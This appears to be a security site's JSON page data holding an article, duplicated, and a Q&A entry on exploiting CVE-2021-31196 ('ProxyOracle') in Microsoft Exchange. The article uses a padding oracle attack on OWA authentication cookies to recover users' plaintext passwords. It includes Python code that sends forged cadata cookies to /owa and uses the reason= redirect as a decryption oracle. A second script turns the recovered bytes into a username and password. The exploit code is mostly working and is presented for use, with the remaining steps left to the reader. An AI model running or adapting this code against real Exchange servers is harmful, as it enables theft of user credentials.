[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fqY9QOeA_jh5s6ENzBjavajyri98NgiX0Y835358wsuQ":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},326,"How does the open-source Python code in the article crack the 8th byte of the first ciphertext block?","The code iterates through all possible byte values (0x00 to 0xFF) for the last byte of the crafted intermediate block. It constructs a modified ciphertext by prepending 15 zero bytes plus the trial byte to the second ciphertext block, then sends a GET request with this malformed `cadata` cookie. If the server responds with `reason=2`, the decryption succeeded and the correct padding byte was guessed. The script prints the successful byte value and exits. This is the first step of the full Padding Oracle Attack, which decrypts each byte sequentially as described in the [ProxyOracle Exploitation Analysis 2—CVE-2021-31196](\u002Fnews\u002Fproxyoracle-exploitation-analysis-2-cve-2021-31196) article.","\u003Cp>The code iterates through all possible byte values (0x00 to 0xFF) for the last byte of the crafted intermediate block. It constructs a modified ciphertext by prepending 15 zero bytes plus the trial byte to the second ciphertext block, then sends a GET request with this malformed `cadata` cookie. If the server responds with `reason=2`, the decryption succeeded and the correct padding byte was guessed. The script prints the successful byte value and exits. This is the first step of the full Padding Oracle Attack, which decrypts each byte sequentially as described in the [ProxyOracle Exploitation Analysis 2—CVE-2021-31196](\u002Fnews\u002Fproxyoracle-exploitation-analysis-2-cve-2021-31196) article.\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fproxyoracle-exploitation-analysis-2-cve-2021-31196\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","how-does-the-open-source-python-code-in-the-article-crack-the-8th-byte-of-the-fi-1777484156693","Padding Oracle Attack, byte cracking, Python script, ciphertext block, 8th byte, decryption oracle",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},83,"ProxyOracle Exploitation Analysis 2—CVE-2021-31196","proxyoracle-exploitation-analysis-2-cve-2021-31196","Learn how to exploit CVE-2021-31196 via Padding Oracle Attack to recover plaintext passwords from Exchange server cookies.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The previous article 'ProxyOracle Exploitation Analysis 1—CVE-2021-31195' introduced the method to obtain user cookie information. This article will explain how to recover the user's plaintext password through a Padding Oracle Attack.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Implementation Approach\u003C\u002Fli>\u003Cli>Partial Open Source Code\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Implementation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Prerequisites for implementing a Padding Oracle Attack:\u003C\u002Fp>\u003Cp>1. Obtain the ciphertext and its corresponding IV (Initialization Vector)\u003C\u002Fp>\u003Cp>2. Be able to trigger the decryption process of the ciphertext and know the decryption result\u003C\u002Fp>\u003Cp>Applied to Exchange, the specific details are as follows:\u003C\u002Fp>\u003Cp>(1) Obtain the ciphertext and the corresponding IV (Initialization Vector)\u003C\u002Fp>\u003Cp>The cadata in the Cookie information corresponds to the ciphertext, and cadataIV corresponds to the IV\u003C\u002Fp>\u003Cp>(2) Be able to trigger the decryption process of the ciphertext and know the decryption result\u003C\u002Fp>\u003Cp>We can obtain the detailed decryption process by decompiling the DLL using dnSpy, as follows:\u003C\u002Fp>\u003Cp>Use dnSpy to open the file C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\bin\\Microsoft.Exchange.FrontEndHttpProxy.dll\u003C\u002Fp>\u003Cp>Navigate sequentially to Microsoft.Exchange.HttpProxy -&gt; FbaModule -&gt; ParseCadataCookies(HttpApplication httpApplication)\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018741246_0_6ac6b4dbf3.jpeg\">\u003C\u002Fp>\u003Cp>Obtain the method to trigger the ciphertext decryption process:\u003C\u002Fp>\u003Cp>Access https:\u002F\u002F\u003Curl>\u002Fowa, send a GET request packet, and ensure the Cookie includes cadata, cadataTTL, cadataKey, cadataIV, and cadataSig\u003C\u002Furl>\u003C\u002Fp>\u003Cp>Judgment of the ciphertext decryption result:\u003C\u002Fp>\u003Cp>After sending the GET request packet, a 302 redirect occurs by default, and the response content indicates whether the decryption was successful\u003C\u002Fp>\u003Cp>The decryption result can be determined by checking the definition of LogonReason\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018749145_1_d889d2ffaf.jpeg\">\u003C\u002Fp>\u003Cp>From this, it can be seen that 0 represents None, here it is a format error; 1 represents Logoff; 2 represents InvalidCredentials; 3 represents Timeout; 4 represents ChangePasswordLogoff\u003C\u002Fp>\u003Cp>When attempting decryption, reason=2 indicates successful decryption\u003C\u002Fp>\u003Cp>When reason=3, it indicates that the Cookie has expired, and Padding Oracle Attack cannot be performed at this time\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The Cookie validity period for Exchange is 12 hours\u003C\u002Fp>\u003Ch2>0x03 Partial Open Source Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Crack the 8th byte of the 0th block\u003C\u002Fh3>\u003Cp>The complete example code implemented in Python is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#python3\u003Cbr>import requests\u003Cbr>import base64\u003Cbr>import sys\u003Cbr>import os\u003Cbr>import re\u003Cbr>import urllib3\u003Cbr>urllib3.disable_warnings()\u003Cbr>\u003Cbr>\u003Cbr>def checkFirstByte(url, flag):\u003Cbr>    url1 = \"https:\u002F\u002F\" + url + \"\u002Fowa\u002F\"    \u003Cbr>    cadata = \"wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg==\"\u003Cbr>    cadataTTL = \"tTjVGVGFfG9M0P6lAXm\u002Fjw==\"\u003Cbr>    cadataKey = \"oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW\u002Fjq0E\u002FDjFL2MCC1yQUVEgf7JrXuQWbbocERT\u002FGybkBIddq3RZAbRUWW33jFGWlGqJWTu\u002FBBey3kD8Srhm5fvBC7rfh5MG9gdk6i\u002FaLI\u002FR3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6\u002FHR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA==\"\u003Cbr>    cadataIV = \"YJD\u002FeLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL\u002FZyv9NZsliqCwtGxKR6bPx\u002FieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC\u002F6300QI7MIKR\u002FcyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za\u002FOGDW5gVJsk+gJmm4hz\u002FCEw==\"\u003Cbr>    cadataSig = \"jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal\u002FaiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h\u002FkxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq\u002FyKbH\u002F0t+HQVSPGWwlrqiK6PkxZCNG4WPg==\"\u003Cbr>\u003Cbr>    cipher = base64.b64decode(cadata)\u003Cbr>    bs = 16\u003Cbr>    if len(cipher) % bs != 0:\u003Cbr>        raise ValueError(\"The length of `cipher` must be a multiple of `bs`\")\u003Cbr>\u003Cbr>    cipher_blocks = []\u003Cbr>    for i in range(0, len(cipher), bs):\u003Cbr>        cipher_blocks.append(cipher[i: i + bs])\u003Cbr>\u003Cbr>    bytetempdata = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + bytes([flag]) \u003Cbr>    bytecadata = bytetempdata + cipher_blocks[1]\u003Cbr>    base64cadata = base64.b64encode(bytecadata).decode()\u003Cbr>\u003Cbr>    cookie = {\u003Cbr>        \"cadata\": base64cadata,\u003Cbr>        \"cadataTTL\": cadataTTL,\u003Cbr>        \"cadataKey\": cadataKey,\u003Cbr>        \"cadataIV\": cadataIV,\u003Cbr>        \"cadataSig\": cadataSig,\u003Cbr>    }\u003Cbr>\u003Cbr>    headers = {\u003Cbr>        \"User-Agent\": \"Mozilla\u002F5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F81.0.4044.129 Safari\u002F537.36\"\u003Cbr>    } \u003Cbr>    response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False)\u003Cbr>\u003Cbr>    if response.status_code == 302 and \"reason\" in response.text:\u003Cbr>        pattern_name = re.compile(r\"reason=(.*?)\\\"&gt;here\")\u003Cbr>        name = pattern_name.findall(response.text)\u003Cbr>        print(name[0], end='')\u003Cbr>        if name[0] == \"2\":\u003Cbr>            print(\"\\ndecrypt:\")\u003Cbr>            print(bytecadata)\u003Cbr>            sys.exit(0)\u003Cbr>        else:\u003Cbr>            return False\u003Cbr>\u003Cbr>if __name__ == \"__main__\":\u003Cbr>    for flag in range(0, 256):\u003Cbr>        checkFirstByte(\"192.168.1.1\", flag)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Pay attention to the following details:\u003C\u002Fp>\u003Cp>(1) Traverse from 0x00 to 0xFF\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>for i in range(0, 256):\u003Cbr>    i = bytes([i])\u003Cbr>    print(i)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>(2) Ciphertext Block\u003C\u002Fp>\u003Cp>Block length is 16\u003C\u002Fp>\u003Cp>(3) Set allow_redirects=False when sending GET requests to disable redirection\u003C\u002Fp>\u003Ch3>2. From Padded Plaintext to Actual Plaintext\u003C\u002Fh3>\u003Cp>After completing the entire Padding Oracle Attack, we obtain a segment of padded plaintext\u003C\u002Fp>\u003Cp>The complete example code for converting padded plaintext to actual plaintext is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#python3\u003Cbr>import base64\u003Cbr>import re\u003Cbr>\u003Cbr>def unpad(s):\u003Cbr>    exe = re.findall(\"..\", s.hex())\u003Cbr>    padding = int(exe[-1], 16)\u003Cbr>    exe = exe[::-1]\u003Cbr>\u003Cbr>    if padding == 0 or padding &gt; 16:\u003Cbr>        return 0\u003Cbr>\u003Cbr>    for i in range(padding):\u003Cbr>        if int(exe[i], 16) != padding:\u003Cbr>            return 0\u003Cbr>    return s[: -ord(s[len(s) - 1 :])]\u003Cbr>\u003Cbr>\u003Cbr>decipherbyte = b\"V\\x00z\\x00d\\x00D\\x00p\\x00Q\\x00Y\\x00X\\x00N\\x00z\\x00d\\x002\\x009\\x00y\\x00Z\\x00D\\x00E\\x00y\\x00M\\x00w\\x00=\\x00=\\x00\\x04\\x04\\x04\\x04\"\u003Cbr>decipher = unpad(decipherbyte)\u003Cbr>temp = \"XX\" + decipher.decode(\"utf_16_le\")\u003Cbr>plaintext = \"??\" + base64.b64decode(temp)[2:].decode()\u003Cbr>\u003Cbr>print(\"[+] User: \" + plaintext.split(\":\")[0])\u003Cbr>print(\"[+] Password: \" + plaintext.split(\":\")[1])\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The code execution result is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018759947_2_8160110e58.jpeg\">\u003C\u002Fp>\u003Cp>The following details require attention:\u003C\u002Fp>\u003Cp>(1) After obtaining the padded plaintext, PKCS7 must be used for data padding.\u003C\u002Fp>\u003Cp>(2) The actual plaintext format is username:password.\u003C\u002Fp>\u003Cp>Although the first two bytes of the plaintext cannot be decrypted, resulting in an incomplete display of the username, this does not cause any impact because the 'lgn' in the Cookie information we obtained displays the complete username.\u003C\u002Fp>\u003Ch2>0x04 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the method of restoring the user's plaintext password through a Padding Oracle Attack. The key code has been open-sourced, and the remaining parts are left for the reader to complete independently.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The previous article 'ProxyOracle Exploitation Analysis 1—CVE-2021-31195' introduced the method to obtain user cookie information. This article will explain how to recover the user's plaintext password through a Padding Oracle Attack.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Implementation Approach\u003C\u002Fli>\u003Cli>Partial Open Source Code\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Implementation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Prerequisites for implementing a Padding Oracle Attack:\u003C\u002Fp>\u003Cp>1. Obtain the ciphertext and its corresponding IV (Initialization Vector)\u003C\u002Fp>\u003Cp>2. Be able to trigger the decryption process of the ciphertext and know the decryption result\u003C\u002Fp>\u003Cp>Applied to Exchange, the specific details are as follows:\u003C\u002Fp>\u003Cp>(1) Obtain the ciphertext and the corresponding IV (Initialization Vector)\u003C\u002Fp>\u003Cp>The cadata in the Cookie information corresponds to the ciphertext, and cadataIV corresponds to the IV\u003C\u002Fp>\u003Cp>(2) Be able to trigger the decryption process of the ciphertext and know the decryption result\u003C\u002Fp>\u003Cp>We can obtain the detailed decryption process by decompiling the DLL using dnSpy, as follows:\u003C\u002Fp>\u003Cp>Use dnSpy to open the file C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\bin\\Microsoft.Exchange.FrontEndHttpProxy.dll\u003C\u002Fp>\u003Cp>Navigate sequentially to Microsoft.Exchange.HttpProxy -&gt; FbaModule -&gt; ParseCadataCookies(HttpApplication httpApplication)\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018741246_0_6ac6b4dbf3-1.jpeg\">\u003C\u002Fp>\u003Cp>Obtain the method to trigger the ciphertext decryption process:\u003C\u002Fp>\u003Cp>Access https:\u002F\u002F\u003Curl>\u002Fowa, send a GET request packet, and ensure the Cookie includes cadata, cadataTTL, cadataKey, cadataIV, and cadataSig\u003C\u002Furl>\u003C\u002Fp>\u003Cp>Judgment of the ciphertext decryption result:\u003C\u002Fp>\u003Cp>After sending the GET request packet, a 302 redirect occurs by default, and the response content indicates whether the decryption was successful\u003C\u002Fp>\u003Cp>The decryption result can be determined by checking the definition of LogonReason\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018749145_1_d889d2ffaf-1.jpeg\">\u003C\u002Fp>\u003Cp>From this, it can be seen that 0 represents None, here it is a format error; 1 represents Logoff; 2 represents InvalidCredentials; 3 represents Timeout; 4 represents ChangePasswordLogoff\u003C\u002Fp>\u003Cp>When attempting decryption, reason=2 indicates successful decryption\u003C\u002Fp>\u003Cp>When reason=3, it indicates that the Cookie has expired, and Padding Oracle Attack cannot be performed at this time\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The Cookie validity period for Exchange is 12 hours\u003C\u002Fp>\u003Ch2>0x03 Partial Open Source Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Crack the 8th byte of the 0th block\u003C\u002Fh3>\u003Cp>The complete example code implemented in Python is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#python3\u003Cbr>import requests\u003Cbr>import base64\u003Cbr>import sys\u003Cbr>import os\u003Cbr>import re\u003Cbr>import urllib3\u003Cbr>urllib3.disable_warnings()\u003Cbr>\u003Cbr>\u003Cbr>def checkFirstByte(url, flag):\u003Cbr>    url1 = \"https:\u002F\u002F\" + url + \"\u002Fowa\u002F\"    \u003Cbr>    cadata = \"wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg==\"\u003Cbr>    cadataTTL = \"tTjVGVGFfG9M0P6lAXm\u002Fjw==\"\u003Cbr>    cadataKey = \"oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW\u002Fjq0E\u002FDjFL2MCC1yQUVEgf7JrXuQWbbocERT\u002FGybkBIddq3RZAbRUWW33jFGWlGqJWTu\u002FBBey3kD8Srhm5fvBC7rfh5MG9gdk6i\u002FaLI\u002FR3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6\u002FHR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA==\"\u003Cbr>    cadataIV = \"YJD\u002FeLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL\u002FZyv9NZsliqCwtGxKR6bPx\u002FieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC\u002F6300QI7MIKR\u002FcyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za\u002FOGDW5gVJsk+gJmm4hz\u002FCEw==\"\u003Cbr>    cadataSig = \"jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal\u002FaiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h\u002FkxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq\u002FyKbH\u002F0t+HQVSPGWwlrqiK6PkxZCNG4WPg==\"\u003Cbr>\u003Cbr>    cipher = base64.b64decode(cadata)\u003Cbr>    bs = 16\u003Cbr>    if len(cipher) % bs != 0:\u003Cbr>        raise ValueError(\"The length of `cipher` must be a multiple of `bs`\")\u003Cbr>\u003Cbr>    cipher_blocks = []\u003Cbr>    for i in range(0, len(cipher), bs):\u003Cbr>        cipher_blocks.append(cipher[i: i + bs])\u003Cbr>\u003Cbr>    bytetempdata = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + bytes([flag]) \u003Cbr>    bytecadata = bytetempdata + cipher_blocks[1]\u003Cbr>    base64cadata = base64.b64encode(bytecadata).decode()\u003Cbr>\u003Cbr>    cookie = {\u003Cbr>        \"cadata\": base64cadata,\u003Cbr>        \"cadataTTL\": cadataTTL,\u003Cbr>        \"cadataKey\": cadataKey,\u003Cbr>        \"cadataIV\": cadataIV,\u003Cbr>        \"cadataSig\": cadataSig,\u003Cbr>    }\u003Cbr>\u003Cbr>    headers = {\u003Cbr>        \"User-Agent\": \"Mozilla\u002F5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F81.0.4044.129 Safari\u002F537.36\"\u003Cbr>    } \u003Cbr>    response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False)\u003Cbr>\u003Cbr>    if response.status_code == 302 and \"reason\" in response.text:\u003Cbr>        pattern_name = re.compile(r\"reason=(.*?)\\\"&gt;here\")\u003Cbr>        name = pattern_name.findall(response.text)\u003Cbr>        print(name[0], end='')\u003Cbr>        if name[0] == \"2\":\u003Cbr>            print(\"\\ndecrypt:\")\u003Cbr>            print(bytecadata)\u003Cbr>            sys.exit(0)\u003Cbr>        else:\u003Cbr>            return False\u003Cbr>\u003Cbr>if __name__ == \"__main__\":\u003Cbr>    for flag in range(0, 256):\u003Cbr>        checkFirstByte(\"192.168.1.1\", flag)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Pay attention to the following details:\u003C\u002Fp>\u003Cp>(1) Traverse from 0x00 to 0xFF\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>for i in range(0, 256):\u003Cbr>    i = bytes([i])\u003Cbr>    print(i)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>(2) Ciphertext Block\u003C\u002Fp>\u003Cp>Block length is 16\u003C\u002Fp>\u003Cp>(3) Set allow_redirects=False when sending GET requests to disable redirection\u003C\u002Fp>\u003Ch3>2. From Padded Plaintext to Actual Plaintext\u003C\u002Fh3>\u003Cp>After completing the entire Padding Oracle Attack, we obtain a segment of padded plaintext\u003C\u002Fp>\u003Cp>The complete example code for converting padded plaintext to actual plaintext is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#python3\u003Cbr>import base64\u003Cbr>import re\u003Cbr>\u003Cbr>def unpad(s):\u003Cbr>    exe = re.findall(\"..\", s.hex())\u003Cbr>    padding = int(exe[-1], 16)\u003Cbr>    exe = exe[::-1]\u003Cbr>\u003Cbr>    if padding == 0 or padding &gt; 16:\u003Cbr>        return 0\u003Cbr>\u003Cbr>    for i in range(padding):\u003Cbr>        if int(exe[i], 16) != padding:\u003Cbr>            return 0\u003Cbr>    return s[: -ord(s[len(s) - 1 :])]\u003Cbr>\u003Cbr>\u003Cbr>decipherbyte = b\"V\\x00z\\x00d\\x00D\\x00p\\x00Q\\x00Y\\x00X\\x00N\\x00z\\x00d\\x002\\x009\\x00y\\x00Z\\x00D\\x00E\\x00y\\x00M\\x00w\\x00=\\x00=\\x00\\x04\\x04\\x04\\x04\"\u003Cbr>decipher = unpad(decipherbyte)\u003Cbr>temp = \"XX\" + decipher.decode(\"utf_16_le\")\u003Cbr>plaintext = \"??\" + base64.b64decode(temp)[2:].decode()\u003Cbr>\u003Cbr>print(\"[+] User: \" + plaintext.split(\":\")[0])\u003Cbr>print(\"[+] Password: \" + plaintext.split(\":\")[1])\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The code execution result is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018759947_2_8160110e58-1.jpeg\">\u003C\u002Fp>\u003Cp>The following details require attention:\u003C\u002Fp>\u003Cp>(1) After obtaining the padded plaintext, PKCS7 must be used for data padding.\u003C\u002Fp>\u003Cp>(2) The actual plaintext format is username:password.\u003C\u002Fp>\u003Cp>Although the first two bytes of the plaintext cannot be decrypted, resulting in an incomplete display of the username, this does not cause any impact because the 'lgn' in the Cookie information we obtained displays the complete username.\u003C\u002Fp>\u003Ch2>0x04 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the method of restoring the user's plaintext password through a Padding Oracle Attack. The key code has been open-sourced, and the remaining parts are left for the reader to complete independently.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",1367,"Onedaysec",4,"published","2026-02-02T08:06:59.415Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"ProxyOracle CVE-2021-31196 Exploit: Padding Oracle Attack Guide","ProxyOracle, CVE-2021-31196, Padding Oracle Attack, Exchange exploit, password recovery, cybersecurity",null,false,[],{"docs":43,"hasNextPage":40},[44,45,4,46],328,327,325,{"title":39,"description":39,"image":39},"2026-07-24T15:37:14.133Z","2026-07-23T16:01:22.990Z","draft","2026-07-23T16:05:22.452Z"]